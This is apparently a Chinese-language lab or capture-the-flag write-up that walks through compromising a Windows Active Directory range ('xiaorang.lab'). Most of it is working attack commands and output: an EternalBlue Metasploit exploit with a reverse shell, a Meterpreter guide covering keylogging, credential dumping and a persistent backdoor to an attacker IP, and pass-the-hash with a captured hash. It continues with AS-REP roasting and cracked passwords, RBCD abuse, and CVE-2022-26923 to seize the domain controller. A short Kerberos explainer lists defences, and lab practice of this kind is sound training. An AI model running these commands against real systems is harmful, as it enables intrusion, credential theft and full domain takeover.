[2025-03-12 20:26:33] [SUCCESS] NetBios 172.22.15.35 XIAORANG\XR-0687
[2025-03-12 20:26:33] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.15.35
主机名: XR-0687
发现的网络接口:
IPv4地址:
└─ 172.22.15.35
[2025-03-12 20:26:33] [SUCCESS] 网站标题 http://172.22.15.18 状态码:200 长度:703 标题:IIS Windows Server
[2025-03-12 20:26:33] [SUCCESS] NetBios 172.22.15.13 DC:XR-DC01.xiaorang.lab Windows Server 2016 Standard 14393
[2025-03-12 20:26:33] [SUCCESS] 发现漏洞 172.22.15.24 [Windows Server 2008 R2 Enterprise 7601 Service Pack 1] MS17-010
[2025-03-12 20:26:33] [SUCCESS] NetInfo 扫描结果
目标主机: 172.22.15.18
主机名: XR-CA
发现的网络接口:
IPv4地址:
└─ 172.22.15.18
[2025-03-12 20:26:33] [SUCCESS] NetBios 172.22.15.24 WORKGROUP\XR-WIN08 Windows Server 2008 R2 Enterprise 7601 Service Pack 1
[2025-03-12 20:26:33] [INFO] 系统信息 172.22.15.13 [Windows Server 2016 Standard 14393]
[2025-03-12 20:26:33] [SUCCESS] NetBios 172.22.15.18 XR-CA.xiaorang.lab Windows Server 2016 Standard 14393
[2025-03-12 20:26:33] [SUCCESS] 网站标题 http://172.22.15.26 状态码:200 长度:39962 标题:XIAORANG.LAB
[2025-03-12 20:26:33] [SUCCESS] 目标: http://172.22.15.18:80
漏洞类型: poc-yaml-active-directory-certsrv-detect
漏洞名称:
详细信息:
author:AgeloVito
links:https://www.cnblogs.com/EasonJim/p/6859345.html
[2025-03-12 20:26:34] [SUCCESS] 网站标题 http://172.22.15.24/www/sys/index.php 状态码:200 长度:135 标题:无标题
[2025-03-12 20:26:57] [SUCCESS] 扫描已完成: 35/35

我们可以看到一个永恒之蓝的漏洞,但是其不是域内主机。两个域内主机172.22.15.35和172.22.15.13(域控主机)

永恒之蓝

vshell搞个代理直接打永恒之蓝
直接拿msf来打

1. 获取 Meterpreter 会话

首先,你需要通过 Metasploit 的漏洞利用模块获取一个 Meterpreter 会话。例如:

1
2
3
4
5
6
7
msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set RHOSTS <目标IP>
set payload windows/x64/meterpreter/reverse_tcp
set LHOST <你的IP>
set LPORT 4444
exploit

成功运行后,你将进入 Meterpreter 会话。


2. 常用 Meterpreter 命令

以下是一些常用的 Meterpreter 命令:

系统信息

  • 查看系统信息:
    1
    sysinfo
  • 查看当前用户:
    1
    getuid

文件操作

  • 列出当前目录文件:
    1
    ls
  • 切换目录:
    1
    cd <目录路径>
  • 下载文件:
    1
    download <文件路径>
  • 上传文件:
    1
    upload <本地文件路径> <目标路径>

屏幕截图

  • 截取目标屏幕:
    1
    screenshot

键盘记录

  • 启动键盘记录:
    1
    keyscan_start
  • 查看键盘记录:
    1
    keyscan_dump
  • 停止键盘记录:
    1
    keyscan_stop

网络操作

  • 查看网络接口:
    1
    ipconfig
  • 查看路由表:
    1
    route
  • 端口转发:
    1
    portfwd add -l <本地端口> -p <目标端口> -r <目标IP>

进程操作

  • 列出进程:
    1
    ps
  • 迁移进程:
    1
    migrate <进程ID>

权限提升

  • 尝试提权:
    1
    getsystem

后门

  • 创建持久后门:
    1
    run persistence -X -i <间隔时间> -p <端口> -r <你的IP>

退出会话

  • 返回到 Metasploit 控制台:
    1
    background
  • 关闭会话:
    1
    exit

3. 高级功能

Meterpreter 还支持许多高级功能,例如:

  • Mimikatz:提取 Windows 凭证。
    1
    2
    load kiwi
    creds_all
  • Shell:获取目标系统的命令行 Shell。
    1
    shell
  • Metasploit 模块:在 Meterpreter 会话中直接运行 Metasploit 模块。
    1
    run post/windows/gather/enum_logged_on_users

4. 注意事项

  1. 权限
    • 某些命令需要管理员权限才能执行(如 getsystem)。
  2. 防火墙
    • 确保目标机器的防火墙不会阻止 Meterpreter 的连接。
  3. 隐蔽性
    • 在实际渗透测试中,注意避免触发目标系统的安全机制。

5. 示例场景

假设你已经获取了一个 Meterpreter 会话,以下是简单的操作流程:

  1. 查看系统信息:
    1
    sysinfo
  2. 查看当前用户:
    1
    getuid
  3. 截取屏幕:
    1
    screenshot
  4. 下载重要文件:
    1
    download C:\\Users\\Admin\\Documents\\secret.txt
  5. 创建持久后门:
    1
    run persistence -X -i 10 -p 4444 -r 192.168.1.10

不知道是环境还是什么原因打了好几次。

hashdump后打hash传递提权

拿到shell后还不是admin权限,得提权。

先hashdump一下

可以得到Administrator和Guest的hash
打hash传递
用impacket的pexec打一下

1
proxychains4 psexec.py Administrator@172.22.15.24 -hashes ':0e52d03e9b939997401466a0ec5a9cbc'


直接连提示了编码问题,这样会导致无法使用
1
dir /s /p C:\flag*

来找flag位置
使用gbk编码

1
proxychains4 psexec.py Administrator@172.22.15.24 -hashes ':0e52d03e9b939997401466a0ec5a9cbc' -codec gbk


flag再admin目录下

横向域内主机 AS-REP Roasting

改下Administrator用户的密码

1
net user Administrator 123456

然后直接rdp登陆

登陆后发现一个小皮,打开可以发现有个数据库开着,fscan扫的使用也可以发现开着3306端口。从小皮看数据库密码,然后直接window挂代理使用Navicat来看

再zdooosys_user表里可以发现很多域内用户。我们可以尝试使用打一下AS-REP Roasting

导出用户名只要用户名不要域名我们使用impacket-GetNPU来进行攻击

1
proxychains4 impacket-GetNPUsers -dc-ip  172.22.15.13 xiaorang.lab/ -usersfile 

这个攻击其实就是在没开启预身份验证时,向KDC即密钥分配服务,其实就是DC,攻击者以任意用户身份向 KDC(端口 88)发送 AS-REQ,请求 TGT。
KDC 返回 AS-REP,包含用用户密钥加密的 Login Session Key。

我们可以使用john来爆破密文有可能可以爆破出密码
得到

1
2
3
$krb5asrep$23$lixiuying@xiaorang.lab@XIAORANG.LAB:ffede33510cb2e0a2a2dc646437172f0$0f1197506a06c35fd170c57fbbc5e686a66a7262c2420bd7c4decdc41d66a1792f2895c090d74932d74d8a0921cac5d03b52422cc127a9e85fb28f7c09c4c3e5533394753f516dd02b3f6b23da8cf524aa0fe730b610917fa89ccaf320737e1dd85c45111e1b032ebea24b89ae45ef8a067271b50028817abd5c722591f9a2f7a297bcfbb5b644156aa84c887c9337d14f233c73d917d124ccfbf5b9f4ec98275ac87a013740956ae1d7c969b310bd13d6365ac064f7e58971005da8a692322fc49665136f9d31dc57d4a653b047450690f2cad84b5bfd311b6065568c16936c6fea311532a9dbb95ea9df19

$krb5asrep$23$huachunmei@xiaorang.lab@XIAORANG.LAB:11cb524ef9c327c81ffd22625df24479$94d0968b0bb08d9b8c8106a617a3e6c72f529eaad8ac69b795074277b396bab4163383d0846c555ddf1b6a03a4b90686a1696b36cd6be0311ecf15e0b5c3e4a1f5a3e18a146f09424da96cb3c3eb4c592da731330a860eac1a370c34a0fbb1cef699d5092d5b802de4c7473f0b6c29f982ab045e370ed7191e6f3545d21f034289af6ad20fbcdb88c10f83e8f6f8e847e4b84a058565b4f951afd8d74d9d6a47bd6c2a9d9fd49069b35eba47c7e82e727ac05fd5d946e00506bcd52d9cb9f7f9bda0560b2bcfb8f4834a6a3c2627a6c743b86b8fe3f4bb8835bba01c40150bb8a5a08a94e674c33ab3f99a17

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
└─# john -w=/usr/share/wordlists/rockyou.txt lixiuying 
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 512/512 AVX512BW 16x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
winniethepooh ($krb5asrep$23$lixiuying@xiaorang.lab@XIAORANG.LAB)
1g 0:00:00:00 DONE (2025-03-12 21:40) 50.00g/s 204800p/s 204800c/s 204800C/s slimshady..oooooo
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

┌──(root㉿kali)-[~/yunjing]
└─# john -w=/usr/share/wordlists/rockyou.txt huachunmei
Using default input encoding: UTF-8
Loaded 1 password hash (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 512/512 AVX512BW 16x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
1qaz2wsx ($krb5asrep$23$huachunmei@xiaorang.lab@XIAORANG.LAB)
1g 0:00:00:00 DONE (2025-03-12 21:40) 100.0g/s 204800p/s 204800c/s 204800C/s 123456..lovers1
Use the "--show" option to display all of the cracked passwords reliably

得到密码。可以使用rdp来连接域内主机


Kerberos 在域中的作用详解

Windows 域环境(如 Active Directory)中,Kerberos 是核心身份验证协议,用于确保域内用户和服务的安全通信。以下是其核心作用及与域环境的深度关联:


一、Kerberos 在域中的核心作用

1. 统一身份验证

  • 作用:Kerberos 是域中所有用户和服务登录的“身份证系统”。
  • 实现方式
    • 用户登录时,Kerberos 验证其身份(通过密码派生密钥),并发放 TGT(票据授权票据)
    • 所有后续服务访问(如文件共享、邮件系统)均基于 TGT 和服务票据完成认证,无需重复输入密码

2. 单点登录(SSO)

  • 作用:用户登录一次即可访问域内所有授权资源。
  • 实现方式
    • TGT 作为“主钥匙”,用户向不同服务请求访问时,只需出示 TGT 换取服务票据,无需再次认证。

3. 服务访问控制

  • 作用:确保只有合法用户能访问特定服务(如数据库、文件服务器)。
  • 实现方式
    • 服务票据中明确包含用户身份和权限信息,服务端解密票据后验证用户权限。

4. 抵御密码窃听

  • 作用:用户密码始终以密钥形式存储,不传输明文密码
  • 实现方式
    • 用户密码通过哈希算法生成密钥,仅用于加密会话密钥和预认证数据。
    • 攻击者无法通过抓包获取密码明文。

5. 双向认证(Mutual Authentication)

  • 作用:客户端和服务端互相验证身份,防止中间人攻击。
  • 实现方式
    • 服务端解密票据后,需返回用会话密钥加密的响应(AP-REP),证明自身合法性。

二、Kerberos 与 Active Directory 的深度集成

Active Directory(AD) 中,Kerberos 与域控制器(Domain Controller, DC)紧密结合,具体表现为:

1. 域控制器(DC)作为 KDC

  • 角色:每个域控制器默认运行 KDC 服务(AS + TGS),负责管理所有用户和服务的密钥。
  • 密钥存储:用户密码的哈希值(即用户密钥)存储在 AD 数据库中,服务账户的密钥由系统自动管理。

2. 服务主体名称(SPN)

  • 定义:每个服务在 AD 中注册唯一标识符,格式为 SERVICE/HOST@DOMAIN(如 HTTP/web01.example.com@EXAMPLE.COM)。
  • 作用:确保服务票据只能用于指定服务,防止票据被重定向到恶意服务。

3. 跨域信任

  • 场景:不同域之间需共享资源时(如子公司与总部)。
  • 实现方式
    • 域间建立信任关系后,Kerberos 通过 跨域票据(Referral Ticket) 实现跨域认证。
    • 用户在本域获取 TGT 后,可向信任域的 KDC 请求跨域服务票据。

三、攻击场景分析:关闭预身份验证的风险

1. 预身份验证(Pre-Authentication)的作用

  • 流程:在 AS-REQ 阶段,客户端需发送用用户密钥加密的时间戳,证明自己知道密码。
  • 防御目标:防止攻击者直接请求 AS-REP 并离线破解用户密钥(如 AS-REP Roasting 攻击)。

2. 关闭预身份验证的后果

  • 攻击步骤
    1. 攻击者以任意用户身份向 KDC(端口 88)发送 AS-REQ,请求 TGT。
    2. KDC 返回 AS-REP,包含用用户密钥加密的 Login Session Key
    3. 攻击者对加密数据发起离线暴力破解或字典攻击,获取用户密码。
  • 影响:弱密码用户极易被攻破,导致域内横向渗透或权限提升。

3. 防御措施

  • 强制启用预身份验证:通过组策略禁用“Do not require Kerberos preauthentication”。
  • 强密码策略:要求用户设置复杂密码,降低破解成功率。
  • 监控异常请求:检测频繁的 AS-REQ 请求或异常 IP 地址的认证尝试。

四、Kerberos 在域中的不可替代性

1. 效率与扩展性

  • 会话密钥机制:每次会话生成临时密钥,减少长期密钥暴露风险。
  • 分布式架构:多域控制器负载均衡,支持大规模企业环境。

2. 安全性

  • 时间戳防重放:票据和认证器包含时间戳,限制攻击窗口(默认 5 分钟)。
  • 票据有效期:TGT 和服务票据均有生命周期(默认 10 小时),过期需重新认证。

3. 兼容性

  • 广泛支持:Windows、Linux、macOS 及主流应用(如 SQL Server、HTTP 服务)均集成 Kerberos。
  • 协议标准化:遵循 RFC 4120,确保跨平台互操作性。

五、总结:Kerberos 是域安全的基石

在 Windows 域环境中,Kerberos 通过以下机制成为身份验证的核心:

  1. 统一认证:简化用户登录流程,实现单点登录。
  2. 加密通信:避免密码明文传输,抵御窃听和重放攻击。
  3. 权限管控:通过服务票据和 SPN 精确控制资源访问。
  4. 高可用架构:与 AD 深度集成,支持跨域和分布式部署。

关闭预身份验证等配置错误会严重削弱 Kerberos 的安全性,因此管理员需严格遵守安全最佳实践,确保协议机制完整生效。

把用户名全导出来,

AS-REP Roasting

bloodhound

使用bloodhound来收集整理一下域内信息。

1
SharpHound.exe -c all

导入zip。因为我们想要拿到XR-0687的admin权限所以看一下用户和主机的权限关系可以发现LIXIUTING@XIAOLANG.LAB对主机具有GenericWrite可以打RBCD

RBCD

1
2
3
4
5
6
7
8
9
10
11
12
proxychains4 impacket-addcomputer xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -dc-host xiaorang.lab -computer-name 'HACK$' -computer-pass '0x401@admin'

proxychains4 impacket-rbcd xiaorang.lab/lixiuying:'winniethepooh' -dc-ip 172.22.15.13 -action write -delegate-to 'XR-0687$' -delegate-from 'HACK$'

# 获得票据

proxychains4 impacket-getST xiaorang.lab/'HACK$':'0x401@admin' -spn cifs/XR-0687.xiaorang.lab -impersonate Administrator -dc-ip 172.22.15.13

# 加入票据到环境
export KRB5CCNAME=Administrator@cifs_XR-0687.xiaorang.lab@XIAORANG.LAB.ccache

proxychains4 impacket-psexec administrator@XR-0687.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13

导入的环境的内容是我们在生成票据时输出的Saving ticket in 的值

因为我们是利用psexec和dc-ip来进行登陆的,所以我们需要修改/etc/hosts 的值

1
172.22.15.35 XR-0687.xiaorang.lab

修改后我们就可以实现票据无密码登陆

CVE-2022–26923获得域控

kali自带了这个cve的工具certipy-ad
创建用户生成证书,可能会超时多试几次

1
2
3
proxychains4 certipy-ad account create -u lixiuying@xiaorang.lab -p winniethepooh -dc-ip 172.22.15.13 -user Test2 -pass Test1234 -dns 'XR-DC01.xiaorang.lab'

proxychains4 certipy-ad req -u Test2\$@xiaorang.lab -p Test1234 -target 172.22.15.18 -ca "xiaorang-XR-CA-CA" -template Machine

因为域控制器没有安装用于智能卡身份验证的证书所以我们要手动导入
这里使用passthecert.py

1
2
3
4
5
6
7
certipy-ad cert -pfx xr-dc01.pfx -nokey -out user.crt

certipy-ad cert -pfx xr-dc01.pfx -nocert -out user.key

proxychains4 python passthecert.py -action whoami -crt user.crt -key user.key -domain xiaorang.lab -dc-ip 172.22.15.13

proxychains4 python passthecert.py -action write_rbcd -crt user.crt -key user.key -domain xiaorang.lab -dc-ip 172.22.15.13 -delegate-to 'XR-DC01$' -delegate-from 'HACK$'

导入后获取票据

1
2
3
4
5
6


proxychains4 impacket-getST xiaorang.lab/HACK\$:0x401@admin -dc-ip 172.22.15.13 -spn cifs/XR-DC01.xiaorang.lab -impersonate Administrator

export KRB5CCNAME=Administrator@cifs_XR-DC01.xiaorang.lab@XIAORANG.LAB.ccache

使用impacket-psexec来连接
同样需要修改/etc/hosts

1
2

proxychains4 impacket-psexec xiaorang.lab/Administrator@xr-dc01.xiaorang.lab -k -no-pass -dc-ip 172.22.15.13 -codec gbk

ps:
我们可以通过使用
proxychains4 impacket-psexec xiaorang.lab/Administrator@xr-dc01.xiaorang.lab -k -no-pass -target-ip 172.22.15.13 -codec gbk